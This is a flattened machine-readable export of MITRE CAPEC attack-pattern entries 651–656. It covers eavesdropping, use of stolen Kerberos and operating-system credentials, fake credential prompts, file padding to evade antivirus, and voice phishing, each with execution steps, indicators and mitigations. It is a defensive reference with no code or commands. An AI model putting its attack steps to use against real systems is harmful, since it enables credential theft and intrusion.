+ + + + + + + + + #indModificationModification38874 + Modification_38874 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification38880 + Modification_38880 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification38886 + Modification_38886 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Mitigations + + + + + + + + + + + + #CAPEC-651 + Eavesdropping + + + + + + + + + 651 + + + + + Eavesdropping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38898 + Related_Attack_Pattern_38898 + + + + + + + + + + + + + + 117 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary typically requires physical proximity to the target's environment, whether for physical eavesdropping or for placing recording equipment. This is not always the case for software-based eavesdropping, if the adversary has the capability to install malware on the target system that can activate a microphone and record audio digitally.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For logical eavesdropping, some equipment may be necessary (e.g., microphone, tape recorder, etc.). For physical eavesdropping, only proximity is required.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence38907 + Consequence_38907 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary gains unauthorized access to information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Be mindful of your surroundings when discussing sensitive information in public areas.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement proper software restriction policies to only allow authorized software on your environment. Use of anti-virus and other security monitoring and detecting tools can aid in this too. Closely monitor installed software for unusual behavior or activity, and implement patches as soon as they become available.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If possible, physically disable the microphone on your machine if it is not needed.</xhtml:div> + + + + + 200 + + + + + + + + + + + + #indTaxonomyMappingMultiFactorAuthenticationInterception + Multi-Factor Authentication Interception + + + + + + + + + + + + + + 1111 + + + + + Multi-Factor Authentication Interception + + + + + + + + + + + + #indContentHistoryContentHistory38927 + Content_History_38927 + + + + + + + + + + + + + + + + #indSubmissionSubmission38928 + Submission_38928 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification38933 + Modification_38933 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-652 + Use of Known Kerberos Credentials + + + + + + + + + 652 + + + + + Use of Known Kerberos Credentials + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Kerberos is the default authentication method for Windows domains and is also used across many operating systems. Attacks leveraging trusted Kerberos credentials can result in numerous consequences, depending on what Kerberos credential is stolen. For example, Kerberos service accounts are typically used to run services or scheduled tasks pertaining to authentication. However, these credentials are often weak and never expire, in addition to possessing local or domain administrator privileges. If an adversary is able to acquire these credentials, it could result in lateral movement within the domain or access to any resources the service account is privileged to access, among other things. Ultimately, successful spoofing and impersonation of trusted Kerberos credentials can lead to an adversary breaking authentication, authorization, and audit controls with the target system or application.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38950 + Related_Attack_Pattern_38950 + + + + + + + + + + + + + + 560 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern38953 + Related_Attack_Pattern_38953 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indAttackStepAttackStep38956 + Attack_Step_38956 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known Kerberos credentials] The adversary must obtain known Kerberos credentials in order to access the target system, application, or service within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached Kerberos service account username/password combinations or leaked hashed passwords from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary guesses the credentials to a weak Kerberos service account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal Kerberos tickets as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a Kerberoasting attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38965 + Attack_Step_38965 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt Kerberos authentication] Try each Kerberos credential against various resources within the domain until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each Kerberos service account credential through the target's interface.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attempt a Pass the Ticket attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38972 + Attack_Step_38972 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38977 + Attack_Step_38977 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep38982 + Attack_Step_38982 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within domain systems or applications.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application leverages Kerberos authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication for Kerberos service accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not have a sound password policy that is being enforced for Kerberos service accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not implement an effective password throttling mechanism for authenticating to Kerberos service accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted network allows for network sniffing attacks to succeed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill38996 + Skill_38996 + + + + + + + + + + + + + + Once an adversary obtains a known Kerberos credential, leveraging it is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A valid Kerberos ticket or a known Kerberos service account credential.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts use expired or invalid credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts are originating from IP addresses or locations that are inconsistent with an account's normal IP addresses or locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data is being transferred and/or removed from systems/applications within the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is downloaded/installed on systems within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Messages from a legitimate user appear to contain suspicious links or communications not consistent with the user's normal behavior.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39009 + Consequence_39009 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39015 + Consequence_39015 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39020 + Consequence_39020 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy for Kerberos service accounts.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure Kerberos service accounts are not reusing username/password combinations for multiple systems, applications, or services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not reuse Kerberos service account credentials across systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deny remote use of Kerberos service account credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow Kerberos service accounts to be a local administrator on more than one system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Enable at least AES Kerberos encryption for tickets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal credential access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">PowerSploit's Invoke-Kerberoast module can be leveraged to request Ticket Granting Service (TGS) tickets and return crackable ticket hashes. [REF-585] [REF-586]</xhtml:div> + + + + + 522 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + 294 + + + + + 836 + + + + + + + + + + + + #indTaxonomyMappingStealOrForgeKerberosTickets + Steal or Forge Kerberos Tickets + + + + + + + + + + + + + + 1558 + + + + + Steal or Forge Kerberos Tickets + + + + + + + + + + + + #indReferenceReference39056 + Reference_39056 + + + + + + + + + REF-584 + + + + + + + + + + + + #indReferenceReference39057 + Reference_39057 + + + + + + + + + REF-585 + + + + + + + + + + + + #indReferenceReference39058 + Reference_39058 + + + + + + + + + REF-586 + + + + + + + + + + + + #indNoteNote39061 + Note_39061 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Kerberos centers around a ticketing system that is used to request/grant access to resources and to then access the requested resources. If one of these tickets is acquired, an adversary could gain access to a specific resource; access any resource a user has privileges to access; gain access to services that use Kerberos as an authentication mechanism and generate tickets to access a particular resource and the system that hosts the resource; or generate Ticket Granting Tickets (TGTs) for any domain account within Active Directory.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory39063 + Content_History_39063 + + + + + + + + + + + + + + + + #indSubmissionSubmission39064 + Submission_39064 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification39069 + Modification_39069 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Notes, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification39075 + Modification_39075 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification39081 + Modification_39081 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Extended_Description, Prerequisites + + + + + + + + + + + + #CAPEC-653 + Use of Known Operating System Credentials + + + + + + + + + 653 + + + + + Use of Known Operating System Credentials + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack can be extremely harmful when the operating system credentials used are for a root or admin user. Once an adversary gains access using credentials with elevated privileges, they are free to alter important system files which can effect other users who may use the system or other users on the system's network.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39099 + Related_Attack_Pattern_39099 + + + + + + + + + + + + + + 560 + + + + + 515 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39102 + Related_Attack_Pattern_39102 + + + + + + + + + + + + + + 151 + + + + + + + + + + + + #indAttackStepAttackStep39105 + Attack_Step_39105 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Acquire known operating system credentials] The adversary must obtain known operating system credentials in order to access the target system, application, or service within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary purchases breached operating system username/password combinations or leaked hashed passwords from the dark web.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary conducts a sniffing attack to steal operating system credentials as they are transmitted.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to a system/files and exfiltrates password hashes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39115 + Attack_Step_39115 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt authentication] Try each operating system credential against various systems, applications, and services within the domain until the target grants access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually or automatically enter each credential through the target's interface.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39121 + Attack_Step_39121 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate] An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the network</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39126 + Attack_Step_39126 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoofing] Malicious data can be injected into the target system or into other systems on the network. The adversary can also pose as a legitimate user to perform social engineering attacks.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39131 + Attack_Step_39131 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Data Exfiltration] The adversary can obtain sensitive data contained within system files or application configuration.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application uses one factor password-based authentication, SSO, and/or cloud-based authentication.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not have a sound password policy that is being enforced.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The system/application does not implement an effective password throttling mechanism.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39144 + Skill_39144 + + + + + + + + + + + + + + Once an adversary obtains a known credential, leveraging it is trivial. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A list of known credentials for the targeted domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A custom script that leverages a credential list to launch an attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts use credentials that have been used previously by the account in question.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authentication attempts are originating from IP addresses or locations that are inconsistent with a user's normal IP addresses or locations.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data is being transferred and/or removed from systems/applications within the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Suspicious or Malicious software is downloaded/installed on systems within the domain.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Messages from a legitimate user appear to contain suspicious links or communications not consistent with the user's normal behavior.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39158 + Consequence_39158 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39164 + Consequence_39164 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39169 + Consequence_39169 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage multi-factor authentication for all authentication services and prior to granting an entity access to the network.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a strong password policy and ensure that your system enforces this policy.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure users are not reusing username/password combinations for multiple systems, applications, or services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not reuse local administrator account credentials across systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Deny remote use of local admin credentials to log into domain systems.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not allow accounts to be a local administrator on more than one system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implement an intelligent password throttling mechanism. Care must be taken to assure that these mechanisms do not excessively enable account lockout attacks such as CAPEC-2.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor system and domain logs for abnormal credential access.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credentials from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Mimikatz, a post-exploitation Windows credential harvester, can be used to gather and exploit Windows credentials. This malware has been used in several known cyberattacks, such as the Petya Ransomeware attacks. [REF-576]</xhtml:div> + + + + + 522 + + + + + 307 + + + + + 308 + + + + + 309 + + + + + 262 + + + + + 263 + + + + + 654 + + + + + + + + + + + + #indReferenceReference39198 + Reference_39198 + + + + + + + + + REF-575 + + + + + + + + + + + + #indReferenceReference39199 + Reference_39199 + + + + + + + + + REF-576 + + + + + + + + + + + + #indContentHistoryContentHistory39201 + Content_History_39201 + + + + + + + + + + + + + + + + #indSubmissionSubmission39202 + Submission_39202 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification39207 + Modification_39207 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification39213 + Modification_39213 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name, Description, Execution_Flow, Extended_Description, Mitigations, Prerequisites, Resources_Required, Skills_Required + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName39219 + Previous_Entry_Name_39219 + + + + + + + + + 2022-09-29 + + + + + Use of Known Windows Credentials + + + + + + + + + + + + #CAPEC-654 + Credential Prompt Impersonation + + + + + + + + + 654 + + + + + Credential Prompt Impersonation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary, through a previously installed malicious application, impersonates a credential prompt in an attempt to steal a user's credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The adversary may monitor the task list maintained by the operating system and wait for a specific legitimate credential prompt to become active. Once the prompt is detected, the adversary launches a new credential prompt in the foreground that mimics the user interface of the legitimate credential prompt. At this point, the user thinks that they are interacting with the legitimate credential prompt, but instead they are interacting with the malicious credential prompt.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A second approach involves the adversary impersonating an unexpected credential prompt, but one that may often be spawned by legitimate background processes. For example, an adversary may randomly impersonate a system credential prompt, implying that a background process or commonly used application (e.g., email reader) requires authentication for some purpose. The user, believing they are interacting with a legitimate credential prompt, enters their credentials which the adversary then leverages for nefarious purposes. The ultimate goal of this attack is to obtain sensitive information (e.g., credentials) from the user.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39232 + Related_Attack_Pattern_39232 + + + + + + + + + + + + + + 504 + + + + + + + + + + + + #indAttackStepAttackStep39235 + Attack_Step_39235 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine suitable tasks to exploit] Determine what tasks exist on the target system that may result in a user providing their credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Determine what tasks prompt a user for their credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39241 + Attack_Step_39241 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Impersonate Task] Impersonate a legitimate task, either expected or unexpected, in an attempt to gain user credentials.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Prompt a user for their credentials, while making the user believe the credential request is legitimate.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must already have access to the target system via some means.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A legitimate task must exist that an adversary can impersonate to glean credentials.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39253 + Skill_39253 + + + + + + + + + + + + + + Once an adversary has gained access to the target system, impersonating a credential prompt is not difficult. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malware or some other means to initially comprise the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Additional malware to impersonate a legitimate credential prompt.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Credential prompts that appear illegitimate or unexpected.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39263 + Consequence_39263 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The only known mitigation to this attack is to avoid installing the malicious application on the device. However, to impersonate a running task the malicious application does need the GET_TASKS permission to be able to query the task list, and being suspicious of applications with that permission can help.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary monitors the system task list for Microsoft Outlook in an attempt to determine when the application may prompt the user to enter their credentials to view encrypted email. Once the task is executed, the adversary impersonates the credential prompt to obtain the user's Microsoft Outlook encryption credentials. These credentials can then be leveraged by the adversary to read a user's encrypted email.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary randomly prompts a user to enter their system credentials, tricking the user into believing that a background process requires the credentials to function. The adversary can then use these gleaned credentials to execute additional attacks or obtain data.</xhtml:div> + + + + + 1021 + + + + + + + + + + + + #indTaxonomyMappingInputCapture + Input Capture + + + + + + + + + + + + + + 1056 + + + + + Input Capture + + + + + + + + + + + + #indTaxonomyMappingAbuseElevationControlMechanismElevatedExecutionWithPrompt + Abuse Elevation Control Mechanism: Elevated Execution with Prompt + + + + + + + + + + + + + + 1548.004 + + + + + Abuse Elevation Control Mechanism: Elevated Execution with Prompt + + + + + + + + + + + + #indContentHistoryContentHistory39289 + Content_History_39289 + + + + + + + + + + + + + + + + #indSubmissionSubmission39290 + Submission_39290 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification39295 + Modification_39295 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification39301 + Modification_39301 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-655 + Avoid Security Tool Identification by Adding Data + + + + + + + + + 655 + + + + + Avoid Security Tool Identification by Adding Data + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary adds data to a file to increase the file size beyond what security tools are capable of handling in an attempt to mask their actions.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In addition to this, adding data to a file also changes the file's hash, frustrating security tools that look for known bad files by their hash.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39319 + Related_Attack_Pattern_39319 + + + + + + + + + + + + + + 572 + + + + + + + + + + + + #indConsequenceConsequence39322 + Consequence_39322 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39327 + Consequence_39327 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Adding data to change the checksum of a file and can be used to avoid hash-based denylists and static anti-virus signatures.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indTaxonomyMappingObfuscatedFilesOrInformationBinaryPadding + Obfuscated Files or Information:Binary padding + + + + + + + + + + + + + + 1027.001 + + + + + Obfuscated Files or Information:Binary padding + + + + + + + + + + + + #indContentHistoryContentHistory39343 + Content_History_39343 + + + + + + + + + + + + + + + + #indSubmissionSubmission39344 + Submission_39344 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + + + + + + + + #indModificationModification39349 + Modification_39349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-656 + Voice Phishing + + + + + + + + + 656 + + + + + Voice Phishing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets users with a phishing attack for the purpose of soliciting account passwords or sensitive information from the user. Voice Phishing is a variation of the Phishing social engineering technique where the attack is initiated via a voice call, rather than email. The user is enticed to provide sensitive information by the adversary, who masquerades as a legitimate employee of the alleged organization. Voice Phishing attacks deviate from standard Phishing attacks, in that a user doesn't typically interact with a compromised website to provide sensitive information and instead provides this information verbally. Voice Phishing attacks can also be initiated by either the adversary in the form of a "cold call" or by the victim if calling an illegitimate telephone number.</xhtml:div> + + + + + + + + + + + + #indAlternateTermVishing + Vishing + + + + + + + + + 